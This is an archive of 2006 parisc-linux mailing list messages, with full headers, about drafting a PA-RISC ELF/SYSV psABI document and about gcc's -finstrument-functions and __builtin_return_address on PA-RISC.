Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MH-MR001.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0IXW00H8RE81N9B0@VL-MH-MR001.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 17 Apr 2006 23:12:01 -0400 (EDT)
In-reply-to: <44445648.5050004@tausq.org>
X-Mailer: Evolution 2.6.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OWFydaRBYmYSn+nCanc3JiVKWkZTQVRv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23581


--===============0705205181==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-tTY/wEoPmEJ2QLKCwLOy"


--=-tTY/wEoPmEJ2QLKCwLOy
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Le mardi 18 avril 2006 =C3=A0 11:00 +0800, Randolph Chung a =C3=A9crit :

> I don't think the ELF spec talks about calling conventions and syscall
> conventions though. For that, parisc-linux mostly follows the SOM spec
> for calling conventions
> (http://ftp.parisc-linux.org/docs/arch/pa-runtime-32-SOM.pdf)

Right.  This is where the LSB document comes it.  It does wind up
defining those for Linux at least.  The "Mostly follows SOM" is largely
what's inspired me on this quest.  I'd love to see a definitive document
that defines this and am willing to go through the effort to do it.

Tks,
Jeff Bailey

--=20
Although when you're in the situation that RMS is telling you that
you're being too ideological about freedom, maybe, just maybe, it's
true.
- Matthew Wilcox

--=-tTY/wEoPmEJ2QLKCwLOy
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQBERFjb5M5hmdCYCpkRApVNAKDLvnNpbqYLSpEYlcHZO+71cufOTQCePklm
LKp8DyUTN5fSR6pQOMss2R0=
=tY0n
-----END PGP SIGNATURE-----

--=-tTY/wEoPmEJ2QLKCwLOy--


--===============0705205181==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0705205181==--



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF ABI Documents
Date: Tue, 18 Apr 2006 10:36:16 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <200604181436.k3IEaG06004632@hiauly1.hia.nrc.ca>
References: <1145329883.24150.17.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624057 18967 80.91.229.3 (22 Nov 2014 02:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jbailey@raspberryginger.com (Jeff Bailey)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 14:36:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 18 Apr 2006 16:36:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D897E7D663;
	Tue, 18 Apr 2006 08:36:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15418-03; Tue, 18 Apr 2006 08:36:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88FEE7D65D;
	Tue, 18 Apr 2006 08:36:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EC3B7D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 08:36:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15179-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 08:36:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 379957D658
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 08:36:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3IEaG1g004633;
	Tue, 18 Apr 2006 10:36:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3IEaG06004632;
	Tue, 18 Apr 2006 10:36:16 -0400 (EDT)
In-Reply-To: <1145329883.24150.17.camel@localhost.localdomain> from "Jeff
	Bailey" at Apr 17, 2006 11:11:23 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XYNxLIskZDI47rHGdWY2OGRxemhmY0EN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23582

> > I don't think the ELF spec talks about calling conventions and syscall
> > conventions though. For that, parisc-linux mostly follows the SOM spec
> > for calling conventions
> > (http://ftp.parisc-linux.org/docs/arch/pa-runtime-32-SOM.pdf)
> 
> Right.  This is where the LSB document comes it.  It does wind up
> defining those for Linux at least.  The "Mostly follows SOM" is largely
> what's inspired me on this quest.  I'd love to see a definitive document
> that defines this and am willing to go through the effort to do it.

I think what is needed is a SYSV PS ABI for PA-RISC.  It probably shouldn't
be an LSB document.  Typically, the LSB only adopts a subset of any
particular specification, and in the case of the PS ABIs, references
the documents for the various processors currently specified by the
LSB.  The IA64 document is probably the closest to what's needed for
PA-RISC although it can be simplified.  It was written jointly by HP
and Intel.

It probably would be best to obtain the support of HP in doing this.
One of the criticisms of the LSB is that it simply documents what is
and in large measure it just refers to other specifications.
Whereas, specifications such as POSIX have been written by people
aware of the subtle tradeoffs between different implementations
and they try to actually specify an implementation.  If it's
possible to obtain full community support, it's more likely that the
document would be useful and a guide to implementors.  However,
just documenting what is would be useful.

The PA-RISC ABI isn't completely static.  For example, I changed the
passing of complex values in GCC 4.1 so that they are now treated in
the same manner as aggregates.  I think it's also fair to say that
the TLS implementation is far from finalized.

As noted, the HP ELF documents aren't completely up to date and
they don't fully match the current headers provided with HP-UX.
For example, there are now note sections for PA-RISC.  It would be
useful if these documents could be updated as well but this would
require permission from HP because of the copyright issues.

The HP ELF implementation differs in some significant ways from
that in linux.  Areas that come immediately to mind are weak symbol
support, program startup, TLS implementation, memory model, debug
support, etc.

>>From my perspective, a well written PS ABI for PA-RISC would certainly
be useful.  I suspect HP dropped work in this area because of its
decision to phase out PA-RISC.  This is certainly a challenging
project but maybe once the scope is defined the rest will follow.
If you work fast, you might beat implementation of a 64-bit PA-RISC
runtime for linux!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc instrument-function on parisc?
Date: Tue, 18 Apr 2006 16:28:13 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <IXXCB1$DA3AB156FC2925CAA26A8737245EC4CD@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624057 18971 80.91.229.3 (22 Nov 2014 02:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:57 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 15:28:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 18 Apr 2006 17:28:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED5C37D664;
	Tue, 18 Apr 2006 09:28:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15830-04; Tue, 18 Apr 2006 09:28:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D0B67D665;
	Tue, 18 Apr 2006 09:28:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10B8E7D662
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 09:28:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15418-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 09:28:22 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id D8D757D661
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 09:28:21 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k3IFSDA27803; 
	Tue, 18 Apr 2006 17:28:13 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wGwwdyQPODBpsLWUfGRMO041Ji9SWtKE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23583

Hello Dave,

I tried to use this example of gcc instrumentation:
<http://www-128.ibm.com/developerworks/linux/library/l-graphvis/?ca=3Ddgr=
-lnxw18Graphviz>

I try to rebuild its trivial test.c as mentioned:
test.c
::::::::::::::
#include <stdio.h>

int main()
{
        printf("Hello World\n");
        return 0;
}

# gcc -g -finstrument-functions test.c instrument.c -o test

# more trace.txt
E0x20e3e
X0x20e3e

but this is not the main() address (gdb shows 0x1067c).

OTOH I find this comment in gcc-4.0 info:
`-finstrument-functions'
     Generate instrumentation calls for entry and exit to functions.
     Just after function entry and just before function exit, the
     following profiling functions will be called with the address of
     the current function and its call site.  (On some platforms,
     `__builtin_return_address' does not work beyond the current
     function, so the call site information may not be available to the
     profiling functions otherwise.)

Is 'some platform' include parisc?

TIA for advise,
    Joel



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc instrument-function on parisc?
Date: Tue, 18 Apr 2006 12:20:21 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200604181620.k3IGKLls005439@hiauly1.hia.nrc.ca>
References: <IXXCB1$DA3AB156FC2925CAA26A8737245EC4CD@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624057 18974 80.91.229.3 (22 Nov 2014 02:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 16:20:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 18 Apr 2006 18:20:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5096E7D66F;
	Tue, 18 Apr 2006 10:20:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16220-04; Tue, 18 Apr 2006 10:20:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69B9A7D673;
	Tue, 18 Apr 2006 10:20:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CC3F7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 10:20:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16220-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 10:20:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 399C37D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 10:20:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3IGKLrN005440;
	Tue, 18 Apr 2006 12:20:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3IGKLls005439;
	Tue, 18 Apr 2006 12:20:21 -0400 (EDT)
In-Reply-To: <IXXCB1$DA3AB156FC2925CAA26A8737245EC4CD@scarlet.be> from "Joel
	Soete" at Apr 18, 2006 04:28:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +SR3fEFcPjlt6urBOTU2MTEzMTE2NUkh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23584

> OTOH I find this comment in gcc-4.0 info:
> `-finstrument-functions'
>      Generate instrumentation calls for entry and exit to functions.
>      Just after function entry and just before function exit, the
>      following profiling functions will be called with the address of
>      the current function and its call site.  (On some platforms,
>      `__builtin_return_address' does not work beyond the current
>      function, so the call site information may not be available to the
>      profiling functions otherwise.)
> 
> Is 'some platform' include parisc?

Yes, `__builtin_return_address' only provides the return address
for the current function on PA-RISC (on some targets, it can unwind
multiple levels).  There's some question in my mind as to whether it
handles all stubs correctly.  If it detects a stub, it tries to
provide the return address for the stub.  It's guaranteed not to
work in a signal handler.

The above hasn't really been tested as far as I know on parisc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF ABI Documents
Date: Tue, 18 Apr 2006 14:46:52 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <119aab440604181146s19bf0013t985abf0853601aa2@mail.gmail.com>
References: <1145329883.24150.17.camel@localhost.localdomain>
	<200604181436.k3IEaG06004632@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624058 18977 80.91.229.3 (22 Nov 2014 02:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 18:47:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 18 Apr 2006 20:47:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C00527D673;
	Tue, 18 Apr 2006 12:46:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17044-07; Tue, 18 Apr 2006 12:46:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 395927D66D;
	Tue, 18 Apr 2006 12:46:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 464E17D665
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 12:46:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17044-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 12:46:53 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.200])
	by free.linux.hp.com (Postfix) with ESMTP id 67A117D664
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 12:46:53 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 18so1349524nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Apr 2006 11:46:52 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=aosaeJHW2w3tYF+QXlhAZJlMmYSKMqtxGtQeoptHFYPtyk6PNWjpaatlwgiuQ15G26WG28Uh8uQy8ZRwDKJ7uypYv0neVucB3V2PoPEIn3v5I31ZRhfF2R+JqeZ5AX/0JTvdHA4eSnet8GkyRrObaI6SBs7DVgHULoCN0iFOlo8=
Original-Received: by 10.36.67.4 with SMTP id p4mr2300428nza;
	Tue, 18 Apr 2006 11:46:52 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Tue, 18 Apr 2006 11:46:52 -0700 (PDT)
In-Reply-To: <200604181436.k3IEaG06004632@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TFAtCU4ObHIyva3NNjQ0MikqJihyatCq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23585

On 4/18/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> I think what is needed is a SYSV PS ABI for PA-RISC.  It probably shouldn=
't
> be an LSB document.  Typically, the LSB only adopts a subset of any
> particular specification, and in the case of the PS ABIs, references
> the documents for the various processors currently specified by the
> LSB.  The IA64 document is probably the closest to what's needed for
> PA-RISC although it can be simplified.  It was written jointly by HP
> and Intel.

The SYSV psABI for HP PA-RISC is going to be a very messy thing to start wi=
th.
I whole heartedly recommend that Jeff begin work by writing the ELF
psABI for hppa and perhaps after that moving towards the SYSV psABI.
The LSB documentation will then be a reference to the SYSV psABI and
the ELF psABI documents.

So Jeff, care to whip up a document that is a copy of the elf-pa.pdf and
we can start commenting on what's wrong with the document?

What document format are you going to use? I recommend openoffice or tex.

List of the relocs we handle:
binutils/include/elf/hppa.h
  This file lists our relocs and their values. With comments about
their processing.
binutils/bfd/elf-hppa.h
  This file contains the relocs howto showing if some are unimplemented.
  (elf_hppa_final_write_processing): Contains flag settings for the elf hea=
der.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
	__put_kernel_asm() 64bit?
Date: Tue, 18 Apr 2006 16:35:01 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440604181335r585ab489je1bef3c952a5a79b@mail.gmail.com>
References: <IXJXEQ$C47DD9AC94AAFC817D7A8379F72B1E8E@scarlet.be>
	<4442A5AB.5080604@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624058 18980 80.91.229.3 (22 Nov 2014 02:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
